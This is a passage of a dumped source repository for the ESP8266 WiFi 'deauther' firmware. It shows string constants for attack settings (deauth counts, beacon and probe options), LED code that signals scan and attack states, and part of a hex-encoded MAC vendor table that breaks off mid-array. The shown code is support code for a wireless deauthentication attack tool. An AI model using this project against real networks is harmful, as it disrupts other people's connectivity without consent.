PROGMEM = \"image/x-icon\";\nconst char W_XML[] PROGMEM = \"text/xml\";\nconst char W_XPDF[] PROGMEM = \"application/x-pdf\";\nconst char W_XZIP[] PROGMEM = \"application/x-zip\";\nconst char W_GZIP[] PROGMEM = \"application/x-gzip\";\nconst char W_JSON[] PROGMEM = \"application/json\";\nconst char W_TXT[] PROGMEM = \"text/plain\";\n\nconst char W_DOT_HTM[] PROGMEM = \".htm\";\nconst char W_DOT_HTML[] PROGMEM = \".html\";\nconst char W_DOT_CSS[] PROGMEM = \".css\";\nconst char W_DOT_JS[] PROGMEM = \".js\";\nconst char W_DOT_PNG[] PROGMEM = \".png\";\nconst char W_DOT_GIF[] PROGMEM = \".gif\";\nconst char W_DOT_JPG[] PROGMEM = \".jpg\";\nconst char W_DOT_ICON[] PROGMEM = \".ico\";\nconst char W_DOT_XML[] PROGMEM = \".xml\";\nconst char W_DOT_PDF[] PROGMEM = \".pdf\";\nconst char W_DOT_ZIP[] PROGMEM = \".zip\";\nconst char W_DOT_GZIP[] PROGMEM = \".gz\";\nconst char W_DOT_JSON[] PROGMEM = \".json\";\n\n// ===== SETTINGS ====== //\n// Version\nconst char S_JSON_VERSION[] PROGMEM = \"version\";\n\n// Autosave\nconst char S_JSON_AUTOSAVE[] PROGMEM = \"autosave\";\nconst char S_JSON_AUTOSAVETIME[] PROGMEM = \"autosavetime\";\n\n// Attack\nconst char S_JSON_BEACONCHANNEL[] PROGMEM = \"beaconchannel\";\nconst char S_JSON_RANDOMTX[] PROGMEM = \"randomTX\";\nconst char S_JSON_ATTACKTIMEOUT[] PROGMEM = \"attacktimeout\";\nconst char S_JSON_DEAUTHSPERTARGET[] PROGMEM = \"deauthspertarget\";\nconst char S_JSON_DEAUTHREASON[] PROGMEM = \"deauthReason\";\nconst char S_JSON_BEACONINTERVAL[] PROGMEM = \"beaconInterval\";\nconst char S_JSON_PROBESPERSSID[] PROGMEM = \"probesPerSSID\";\n\n// WiFi\nconst char S_JSON_CHANNEL[] PROGMEM = \"channel\";\nconst char S_JSON_MACST[] PROGMEM = \"macSt\";\nconst char S_JSON_MACAP[] PROGMEM = \"macAP\";\n\n// Sniffer\nconst char S_JSON_CHTIME[] PROGMEM = \"chtime\";\nconst char S_JSON_MIN_DEAUTHS[] PROGMEM = \"minDeauths\";\n\n// AP\nconst char S_JSON_SSID[] PROGMEM = \"ssid\";\nconst char S_JSON_PASSWORD[] PROGMEM = \"password\";\nconst char S_JSON_HIDDEN[] PROGMEM = \"hidden\";\nconst char S_JSON_IP[] PROGMEM = \"ip\";\n\n// Web\nconst char S_JSON_WEBINTERFACE[] PROGMEM = \"webinterface\";\nconst char S_JSON_CAPTIVEPORTAL[] PROGMEM = \"captivePortal\";\nconst char S_JSON_WEB_SPIFFS[] PROGMEM = \"webSpiffs\";\nconst char S_JSON_LANG[] PROGMEM = \"lang\";\n\n// CLI\nconst char S_JSON_SERIALINTERFACE[] PROGMEM = \"serial\";\nconst char S_JSON_SERIAL_ECHO[] PROGMEM = \"serialEcho\";\n\n// LED\nconst char S_JSON_LEDENABLED[] PROGMEM = \"led\";\n\n// Display\nconst char S_JSON_DISPLAYINTERFACE[] PROGMEM = \"display\";\nconst char S_JSON_DISPLAY_TIMEOUT[] PROGMEM = \"displayTimeout\";"
  },
  {
    "path": "esp8266_deauther/led.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"led.h\"\n\n#include \"A_config.h\" // Config for LEDs\n#include <Arduino.h>  // digitalWrite, analogWrite, pinMode\n#include \"language.h\" // Strings used in printColor and tempDisable\n#include \"settings.h\" // used in update()\n#include \"Attack.h\"   // used in update()\n#include \"Scan.h\"     // used in update()\n\n// Inlcude libraries for Neopixel or LED_MY92xx if used\n#if defined(LED_NEOPIXEL)\n#include \"src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h\"\n#elif defined(LED_MY92)\n#include \"src/my92xx-3.0.3/my92xx.h\"\n#elif defined(LED_DOTSTAR)\n#include \"src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h\"\n#endif // if defined(LED_NEOPIXEL)\n\nextern Attack attack;\nextern Scan   scan;\n\nnamespace led {\n    // ===== PRIVATE ===== //\n    LED_MODE mode = OFF;\n\n#if defined(LED_NEOPIXEL_RGB)\n    Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_RGB + NEO_KHZ800 };\n#elif defined(LED_NEOPIXEL_GRB)\n    Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800 };\n#elif defined(LED_MY92)\n    my92xx myled { LED_MY92_MODEL, LED_NUM, LED_MY92_DATA, LED_MY92_CLK, MY92XX_COMMAND_DEFAULT };\n#elif defined(LED_DOTSTAR)\n    Adafruit_DotStar strip { LED_NUM, LED_DOTSTAR_DATA, LED_DOTSTAR_CLK, DOTSTAR_BGR };\n#endif // if defined(LED_NEOPIXEL_RGB)\n\n\n    void setColor(uint8_t r, uint8_t g, uint8_t b) {\n#if defined(LED_DIGITAL)\n        if (LED_ANODE) {\n            if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r > 0);\n            if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g > 0);\n            if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b > 0);\n        } else {\n            if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r == 0);\n            if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g == 0);\n            if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b == 0);\n        }\n#elif defined(LED_RGB)\n        if (r > 0) r = r * LED_MODE_BRIGHTNESS / 100;\n        if (g > 0) g = g * LED_MODE_BRIGHTNESS / 100;\n        if (b > 0) b = b * LED_MODE_BRIGHTNESS / 100;\n\n        if (LED_ANODE) {\n            r = 255 - r;\n            g = 255 - g;\n            b = 255 - b;\n        }\n\n        analogWrite(LED_PIN_R, r);\n        analogWrite(LED_PIN_G, g);\n        analogWrite(LED_PIN_B, b);\n#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)\n\n        for (size_t i = 0; i < strip.numPixels(); i++) {\n            strip.setPixelColor(i, r, g, b);\n        }\n\n        strip.show();\n#elif defined(LED_MY9291)\n        myled.setChannel(LED_MY92_CH_R, r);\n        myled.setChannel(LED_MY92_CH_G, g);\n        myled.setChannel(LED_MY92_CH_B, b);\n        myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);\n        myled.setState(true);\n        myled.update();\n#endif // if defined(LED_DIGITAL)\n    }\n\n    // ===== PUBLIC ===== //\n    void setup() {\n        analogWriteRange(0xff);\n\n#if defined(LED_DIGITAL) || defined(LED_RGB)\n        if (LED_PIN_R < 255) pinMode(LED_PIN_R, OUTPUT);\n        if (LED_PIN_G < 255) pinMode(LED_PIN_G, OUTPUT);\n        if (LED_PIN_B < 255) pinMode(LED_PIN_B, OUTPUT);\n#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)\n        strip.begin();\n        strip.setBrightness(LED_MODE_BRIGHTNESS);\n        strip.show();\n#elif defined(LED_MY9291)\n        myled.setChannel(LED_MY92_CH_R, 0);\n        myled.setChannel(LED_MY92_CH_G, 0);\n        myled.setChannel(LED_MY92_CH_B, 0);\n        myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);\n        myled.setState(true);\n        myled.update();\n#endif // if defined(LED_DIGITAL) || defined(LED_RGB)\n    }\n\n    void update() {\n        if (!settings::getLEDSettings().enabled) {\n            setMode(OFF);\n        } else if (scan.isScanning() && (scan.deauths < settings::getSnifferSettings().min_deauth_frames)) {\n            setMode(SCAN);\n        } else if (attack.isRunning()) {\n            setMode(ATTACK);\n        } else {\n            setMode(IDLE);\n        }\n    }\n\n    void setMode(LED_MODE new_mode, bool force) {\n        if ((new_mode != mode) || force) {\n            mode = new_mode;\n\n            switch (mode) {\n                case OFF:\n                    setColor(LED_MODE_OFF);\n                    break;\n                case SCAN:\n                    setColor(LED_MODE_SCAN);\n                    break;\n                case ATTACK:\n                    setColor(LED_MODE_ATTACK);\n                    break;\n                case IDLE:\n                    setColor(LED_MODE_IDLE);\n                    break;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "esp8266_deauther/led.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include <cstdint>\n\nenum LED_MODE {\n    OFF,\n    SCAN,\n    ATTACK,\n    IDLE\n};\n\nnamespace led {\n    void setup();\n    void update();\n    void setMode(LED_MODE new_mode, bool force = false);\n    void setColor(uint8_t r, uint8_t g, uint8_t b);\n}"
  },
  {
    "path": "esp8266_deauther/oui.h",
    "content": "#ifndef oui_h\r\n#define oui_h\r\n/*\r\n  Based on Wireshark manufacturer database\r\n  source: https://www.wireshark.org/tools/oui-lookup.html\r\n  Wireshark is released under the GNU General Public License version 2\r\n*/\r\n\r\n#define ENABLE_MAC_LIST // comment out if you want to save memory\r\n\r\nconst static uint8_t data_vendors[] PROGMEM = {\r\n#ifdef ENABLE_MAC_LIST\r\n0x30, 0x30, 0x3a, 0x30, 0x30, 0x3a, 0x30, 0x30,\r\n0x58, 0x65, 0x72, 0x6f, 0x78, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x70, 0x69, 0x70,\r\n0x4f, 0x6d, 0x72, 0x6f, 0x6e, 0x54, 0x61, 0x74,\r\n0x4d, 0x61, 0x74, 0x72, 0x69, 0x78, 0x00, 0x00,\r\n0x43, 0x69, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x46, 0x69, 0x62, 0x72, 0x6f, 0x6e, 0x69, 0x63,\r\n0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x00,\r\n0x4e, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x4e, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x65, 0x6c,\r\n0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74,\r\n0x43, 0x61, 0x6d, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78,\r\n0x44, 0x61, 0x74, 0x61, 0x70, 0x6f, 0x69, 0x6e,\r\n0x44, 0x75, 0x50, 0x6f, 0x6e, 0x74, 0x50, 0x69,\r\n0x4f, 0x72, 0x61, 0x63, 0x6c, 0x65, 0x00, 0x00,\r\n0x57, 0x65, 0x62, 0x73, 0x74, 0x65, 0x72, 0x43,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x44,\r\n0x41, 0x4d, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x6f, 0x76, 0x65, 0x6c, 0x6c, 0x4e, 0x6f,\r\n0x42, 0x65, 0x6c, 0x6c, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x61, 0x62, 0x6c, 0x65, 0x74, 0x72, 0x6f,\r\n0x54, 0x65, 0x6c, 0x73, 0x69, 0x73, 0x74, 0x49,\r\n0x54, 0x65, 0x6c, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x44, 0x49, 0x41, 0x42, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x43, 0x26, 0x43, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x73, 0x75, 0x61, 0x6c, 0x54, 0x65,\r\n0x41, 0x62, 0x62, 0x41, 0x75, 0x74, 0x6f, 0x6d,\r\n0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x41,\r\n0x52, 0x61, 0x6d, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x53, 0x68, 0x61, 0x2d, 0x4b, 0x65, 0x6e, 0x00,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x52, 0x61, 0x64,\r\n0x50, 0x72, 0x6f, 0x64, 0x69, 0x67, 0x79, 0x00,\r\n0x49, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x72, 0x69, 0x73, 0x70, 0x41, 0x75, 0x74,\r\n0x41, 0x75, 0x74, 0x6f, 0x74, 0x6f, 0x74, 0x65,\r\n0x43, 0x68, 0x72, 0x6f, 0x6d, 0x61, 0x74, 0x69,\r\n0x53, 0x6f, 0x63, 0x69, 0x65, 0x74, 0x65, 0x45,\r\n0x54, 0x69, 0x6d, 0x65, 0x70, 0x6c, 0x65, 0x78,\r\n0x56, 0x67, 0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61,\r\n0x51, 0x70, 0x73, 0x78, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x4d, 0x61, 0x72, 0x63, 0x6f, 0x6e, 0x69, 0x00,\r\n0x45, 0x67, 0x61, 0x6e, 0x4d, 0x61, 0x63, 0x68,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x52,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x67,\r\n0x41, 0x74, 0x61, 0x72, 0x69, 0x00, 0x00, 0x00,\r\n0x4f, 0x78, 0x66, 0x6f, 0x72, 0x64, 0x4d, 0x65,\r\n0x43, 0x73, 0x73, 0x4c, 0x61, 0x62, 0x73, 0x00,\r\n0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x00,\r\n0x43, 0x68, 0x79, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x49, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c,\r\n0x41, 0x75, 0x73, 0x70, 0x65, 0x78, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x73, 0x79, 0x73, 0x00, 0x00,\r\n0x53, 0x69, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x00,\r\n0x53, 0x79, 0x6e, 0x74, 0x72, 0x65, 0x78, 0x00,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x6f, 0x6e,\r\n0x49, 0x63, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x74, 0x69, 0x65, 0x72, 0x4d, 0x61,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x54, 0x65, 0x63,\r\n0x43, 0x61, 0x73, 0x74, 0x65, 0x6c, 0x6c, 0x65,\r\n0x46, 0x6f, 0x72, 0x64, 0x41, 0x65, 0x72, 0x6f,\r\n0x4f, 0x6c, 0x69, 0x76, 0x65, 0x74, 0x74, 0x69,\r\n0x4e, 0x69, 0x63, 0x6f, 0x6c, 0x65, 0x74, 0x49,\r\n0x53, 0x65, 0x69, 0x6b, 0x6f, 0x45, 0x70, 0x73,\r\n0x41, 0x70, 0x72, 0x69, 0x63, 0x6f, 0x74, 0x00,\r\n0x41, 0x64, 0x63, 0x43, 0x6f, 0x64, 0x65, 0x6e,\r\n0x49, 0x63, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x4f,\r\n0x4e, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x6d, 0x70, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x72, 0x61, 0x66,\r\n0x52, 0x61, 0x64, 0x69, 0x73, 0x79, 0x73, 0x00,\r\n0x48, 0x6f, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x49, 0x6e, 0x74, 0x72, 0x75, 0x73, 0x69, 0x6f,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x63, 0x6f, 0x72,\r\n0x53, 0x63, 0x68, 0x6e, 0x65, 0x69, 0x64, 0x65,\r\n0x41, 0x54, 0x26, 0x54, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x72, 0x42, 0x53, 0x74, 0x72, 0x75, 0x63,\r\n0x53, 0x63, 0x69, 0x74, 0x65, 0x78, 0x00, 0x00,\r\n0x52, 0x61, 0x63, 0x6f, 0x72, 0x65, 0x43, 0x6f,\r\n0x48, 0x65, 0x6c, 0x6c, 0x69, 0x67, 0x65, 0x00,\r\n0x53, 0x6b, 0x53, 0x63, 0x68, 0x6e, 0x65, 0x69,\r\n0x45, 0x6c, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x6d, 0x61, 0x74, 0x69,\r\n0x43, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f,\r\n0x49, 0x63, 0x61, 0x6e, 0x6e, 0x49, 0x61, 0x6e,\r\n0x53, 0x75, 0x6d, 0x69, 0x74, 0x6f, 0x6d, 0x6f,\r\n0x4b, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x45,\r\n0x47, 0x61, 0x74, 0x65, 0x77, 0x61, 0x79, 0x43,\r\n0x42, 0x75, 0x6c, 0x6c, 0x48, 0x6e, 0x49, 0x6e,\r\n0x42, 0x61, 0x72, 0x63, 0x6f, 0x43, 0x6f, 0x6e,\r\n0x59, 0x6f, 0x6b, 0x6f, 0x67, 0x61, 0x77, 0x61,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x47,\r\n0x54, 0x61, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x00,\r\n0x53, 0x6f, 0x66, 0x74, 0x2a, 0x52, 0x69, 0x74,\r\n0x52, 0x6f, 0x73, 0x65, 0x6d, 0x6f, 0x75, 0x6e,\r\n0x43, 0x6f, 0x6e, 0x63, 0x6f, 0x72, 0x64, 0x43,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x65, 0x72,\r\n0x4d, 0x49, 0x50, 0x53, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x00,\r\n0x43, 0x61, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x72, 0x74, 0x69, 0x73, 0x6f, 0x66, 0x74,\r\n0x4d, 0x61, 0x64, 0x67, 0x65, 0x4e, 0x65, 0x74,\r\n0x48, 0x63, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x64, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x6e, 0x69, 0x77, 0x61, 0x72, 0x65,\r\n0x53, 0x69, 0x65, 0x63, 0x6f, 0x72, 0x00, 0x00,\r\n0x52, 0x69, 0x63, 0x6f, 0x68, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x6c, 0x6c, 0x4e, 0x6f, 0x72, 0x74,\r\n0x41, 0x62, 0x65, 0x6b, 0x61, 0x73, 0x56, 0x69,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x70, 0x68, 0x61,\r\n0x4c, 0x61, 0x62, 0x74, 0x61, 0x6d, 0x41, 0x75,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x74, 0x68,\r\n0x44, 0x61, 0x6e, 0x61, 0x43, 0x6f, 0x6d, 0x70,\r\n0x52, 0x65, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68,\r\n0x41, 0x6d, 0x70, 0x65, 0x72, 0x65, 0x00, 0x00,\r\n0x43, 0x6c, 0x75, 0x73, 0x74, 0x72, 0x69, 0x78,\r\n0x4c, 0x69, 0x6e, 0x6f, 0x74, 0x79, 0x70, 0x65,\r\n0x43, 0x72, 0x61, 0x79, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x42, 0x61, 0x79, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x4c, 0x65, 0x63, 0x74, 0x72, 0x61, 0x53, 0x79,\r\n0x54, 0x61, 0x64, 0x70, 0x6f, 0x6c, 0x65, 0x54,\r\n0x53, 0x75, 0x70, 0x65, 0x72, 0x6e, 0x65, 0x74,\r\n0x43, 0x61, 0x6e, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x67, 0x61, 0x68, 0x65, 0x72, 0x74,\r\n0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x00,\r\n0x42, 0x72, 0x6f, 0x63, 0x61, 0x64, 0x65, 0x43,\r\n0x43, 0x61, 0x79, 0x6d, 0x61, 0x6e, 0x53, 0x79,\r\n0x44, 0x61, 0x74, 0x61, 0x68, 0x6f, 0x75, 0x73,\r\n0x49, 0x6e, 0x66, 0x6f, 0x74, 0x72, 0x6f, 0x6e,\r\n0x41, 0x6c, 0x6c, 0x6f, 0x79, 0x43, 0x6f, 0x6d,\r\n0x43, 0x72, 0x79, 0x70, 0x74, 0x65, 0x6b, 0x00,\r\n0x53, 0x6f, 0x6c, 0x62, 0x6f, 0x75, 0x72, 0x6e,\r\n0x52, 0x61, 0x79, 0x74, 0x68, 0x65, 0x6f, 0x6e,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x63, 0x6f, 0x6d,\r\n0x41, 0x6e, 0x72, 0x69, 0x74, 0x73, 0x75, 0x00,\r\n0x43, 0x6f, 0x67, 0x65, 0x6e, 0x74, 0x44, 0x61,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x6f, 0x6e, 0x00,\r\n0x41, 0x73, 0x61, 0x6e, 0x74, 0x65, 0x4d, 0x61,\r\n0x53, 0x6f, 0x6e, 0x79, 0x2f, 0x54, 0x65, 0x6b,\r\n0x4d, 0x61, 0x72, 0x63, 0x6f, 0x6e, 0x69, 0x45,\r\n0x44, 0x65, 0x6c, 0x6c, 0x45, 0x6d, 0x63, 0x00,\r\n0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d,\r\n0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x65, 0x78, 0x54,\r\n0x52, 0x63, 0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74,\r\n0x52, 0x6f, 0x6c, 0x6d, 0x4d, 0x69, 0x6c, 0x2d,\r\n0x4c, 0x6f, 0x63, 0x75, 0x73, 0x43, 0x6f, 0x6d,\r\n0x4d, 0x61, 0x72, 0x6c, 0x69, 0x53, 0x41, 0x00,\r\n0x41, 0x6d, 0x65, 0x72, 0x69, 0x73, 0x74, 0x61,\r\n0x53, 0x61, 0x6e, 0x79, 0x6f, 0x45, 0x6c, 0x65,\r\n0x4d, 0x61, 0x72, 0x71, 0x75, 0x65, 0x74, 0x74,\r\n0x4e, 0x41, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x6f, 0x72, 0x6e, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x74, 0x74, 0x69, 0x6c, 0x65, 0x53,\r\n0x4e, 0x43, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x72, 0x61, 0x74, 0x75, 0x73, 0x43,\r\n0x4e, 0x65, 0x74, 0x53, 0x79, 0x73, 0x00, 0x00,\r\n0x58, 0x65, 0x72, 0x6f, 0x78, 0x58, 0x65, 0x72,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x4d, 0x6f, 0x64,\r\n0x43, 0x6f, 0x6e, 0x77, 0x61, 0x72, 0x65, 0x4e,\r\n0x42, 0x72, 0x75, 0x6b, 0x65, 0x72, 0x49, 0x6e,\r\n0x44, 0x61, 0x73, 0x73, 0x61, 0x75, 0x6c, 0x74,\r\n0x43, 0x61, 0x6e, 0x62, 0x65, 0x72, 0x72, 0x61,\r\n0x52, 0x6e, 0x64, 0x52, 0x61, 0x64, 0x4e, 0x65,\r\n0x41, 0x6c, 0x70, 0x68, 0x61, 0x4d, 0x69, 0x63,\r\n0x54, 0x65, 0x6c, 0x65, 0x76, 0x69, 0x64, 0x65,\r\n0x43, 0x69, 0x6d, 0x6c, 0x69, 0x6e, 0x63, 0x00,\r\n0x45, 0x64, 0x69, 0x6d, 0x61, 0x78, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x62, 0x69, 0x6c, 0x69,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2d, 0x4d, 0x61,\r\n0x44, 0x6f, 0x76, 0x65, 0x46, 0x61, 0x73, 0x74,\r\n0x53, 0x65, 0x69, 0x6b, 0x6f, 0x73, 0x68, 0x61,\r\n0x4d, 0x63, 0x64, 0x6f, 0x6e, 0x6e, 0x65, 0x6c,\r\n0x53, 0x69, 0x69, 0x67, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x69, 0x2d, 0x44, 0x61, 0x74, 0x61,\r\n0x52, 0x6f, 0x63, 0x6b, 0x77, 0x65, 0x6c, 0x6c,\r\n0x4d, 0x69, 0x74, 0x73, 0x75, 0x62, 0x69, 0x73,\r\n0x4e, 0x74, 0x69, 0x47, 0x72, 0x6f, 0x75, 0x70,\r\n0x53, 0x79, 0x6d, 0x6d, 0x65, 0x74, 0x72, 0x69,\r\n0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x44,\r\n0x4d, 0x61, 0x64, 0x67, 0x65, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x72, 0x72, 0x69, 0x73, 0x43, 0x6f,\r\n0x57, 0x61, 0x74, 0x65, 0x72, 0x73, 0x44, 0x69,\r\n0x41, 0x72, 0x72, 0x69, 0x73, 0x47, 0x72, 0x6f,\r\n0x48, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c,\r\n0x41, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x74, 0x6f, 0x73, 0x00, 0x00, 0x00,\r\n0x45, 0x6d, 0x75, 0x6c, 0x65, 0x78, 0x54, 0x65,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x2d, 0x53, 0x68,\r\n0x44, 0x65, 0x6e, 0x73, 0x61, 0x6e, 0x00, 0x00,\r\n0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x54, 0x65,\r\n0x4d, 0x65, 0x67, 0x61, 0x64, 0x61, 0x74, 0x61,\r\n0x48, 0x61, 0x79, 0x65, 0x73, 0x4d, 0x69, 0x63,\r\n0x44, 0x65, 0x76, 0x65, 0x6c, 0x63, 0x6f, 0x6e,\r\n0x41, 0x64, 0x61, 0x70, 0x74, 0x65, 0x63, 0x00,\r\n0x53, 0x62, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x61, 0x6e, 0x67, 0x4c, 0x61, 0x62, 0x73,\r\n0x50, 0x75, 0x72, 0x65, 0x64, 0x61, 0x74, 0x61,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x67, 0x6e, 0x6f,\r\n0x50, 0x75, 0x6e, 0x63, 0x68, 0x4c, 0x69, 0x6e,\r\n0x44, 0x61, 0x72, 0x74, 0x6d, 0x6f, 0x75, 0x74,\r\n0x4f, 0x6c, 0x64, 0x4e, 0x6f, 0x76, 0x65, 0x6c,\r\n0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x54, 0x65,\r\n0x41, 0x74, 0x65, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x72, 0x69, 0x74, 0x69, 0x73, 0x68, 0x54,\r\n0x54, 0x63, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x65, 0x74, 0x69, 0x61, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x6c, 0x6c, 0x48, 0x6f, 0x77, 0x65,\r\n0x51, 0x75, 0x61, 0x64, 0x72, 0x61, 0x6d, 0x00,\r\n0x47, 0x72, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x65, 0x72, 0x43, 0x6f, 0x75, 0x6e,\r\n0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x61, 0x74,\r\n0x49, 0x6e, 0x32, 0x47, 0x72, 0x6f, 0x75, 0x70,\r\n0x53, 0x69, 0x67, 0x6d, 0x65, 0x78, 0x00, 0x00,\r\n0x41, 0x70, 0x74, 0x6f, 0x72, 0x50, 0x72, 0x6f,\r\n0x53, 0x74, 0x61, 0x72, 0x47, 0x61, 0x74, 0x65,\r\n0x41, 0x63, 0x63, 0x74, 0x6f, 0x6e, 0x54, 0x65,\r\n0x49, 0x73, 0x69, 0x63, 0x61, 0x64, 0x00, 0x00,\r\n0x55, 0x70, 0x6e, 0x6f, 0x64, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x74, 0x73, 0x75, 0x73, 0x68, 0x69,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x70, 0x72, 0x6f,\r\n0x41, 0x70, 0x72, 0x69, 0x6c, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x44,\r\n0x4b, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x00,\r\n0x4d, 0x61, 0x67, 0x6e, 0x61, 0x43, 0x6f, 0x6d,\r\n0x53, 0x70, 0x69, 0x64, 0x65, 0x72, 0x43, 0x6f,\r\n0x47, 0x61, 0x6e, 0x64, 0x61, 0x6c, 0x66, 0x44,\r\n0x44, 0x69, 0x61, 0x6d, 0x6f, 0x6e, 0x64, 0x53,\r\n0x41, 0x70, 0x70, 